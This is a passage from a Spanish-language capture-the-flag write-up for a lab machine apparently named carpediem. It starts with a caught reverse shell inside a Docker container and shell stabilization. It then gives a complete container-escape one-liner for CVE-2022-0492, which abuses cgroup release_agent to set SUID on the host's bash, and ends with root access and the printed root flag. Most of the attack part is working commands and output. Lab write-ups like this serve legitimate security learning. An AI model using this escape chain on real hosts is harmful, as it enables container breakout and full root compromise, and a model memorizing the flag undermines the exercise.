connect to [10.10.16.7] from (UNKNOWN) [10.10.11.167] 52852
bash: cannot set terminal process group (2295): Inappropriate ioctl for device
bash: no job control in this shell
root@90c7f522b842:/var/www/html/backdrop# hostname -I
hostname -I
172.17.0.2 
root@90c7f522b842:/var/www/html/backdrop# script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@90c7f522b842:/var/www/html/backdrop# ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm

Para escapar del contenedor, busco en Hacktricks diferentes técnicas. Pero solo una es funcional. Se trata del CVE-2022-0492. La idea es crear un archivo que sea accesible desde la máquina host, modificando los archivos de configuración (Por lo que es necesario estar como root) abusando. Hay que montar el cgroup existente en un directorio temporal. Al reiniciar los procesos del cgroup es posible inyectar comandos como la máquina host, así como escalar privilegios.

Un problema a destacar que ocurre en mi caso, es que de primeras no tengo acceso a la hora de crear las monturas (Está gestionado por docker, no lo puedo modificar)

root@90c7f522b842:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
mount: /tmp/cgrp: permission denied.

Esto se debe a que no tengo asignada la capability cap_sysadmin

root@90c7f522b842:/# set $(cat /proc/$$/status | grep "CapEff"); capsh --decode=$2
0x00000000a00425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap

Pero si creo un nuevo cgroup las capabilities pasan a ser máximas

root@90c7f522b842:/# unshare -UrmC bash
root@90c7f522b842:/# set $(cat /proc/$$/status | grep "CapEff"); capsh --decode=$2
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read

Siguiendo toda la guía, le asigno el privilegio SUID a la bash y desde la sesión que tenía de SSH con hflaccus, migro al usuario root y puedo visualizar la segunda flag

root@90c7f522b842:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x; echo 1 > /tmp/cgrp/x/notify_on_release; host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`; echo "$host_path/cmd" > /tmp/cgrp/release_agent; echo '#!/bin/sh' > /cmd; echo 'chmod u+s /bin/bash' >> /cmd ;echo "ps aux > $host_path/output" >> /cmd; chmod a+x /cmd; sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
hflaccus@carpediem:/etc/ssl/certs$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
hflaccus@carpediem:/etc/ssl/certs$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
e30ba364d8c2baf9db5d39b4e4e354bc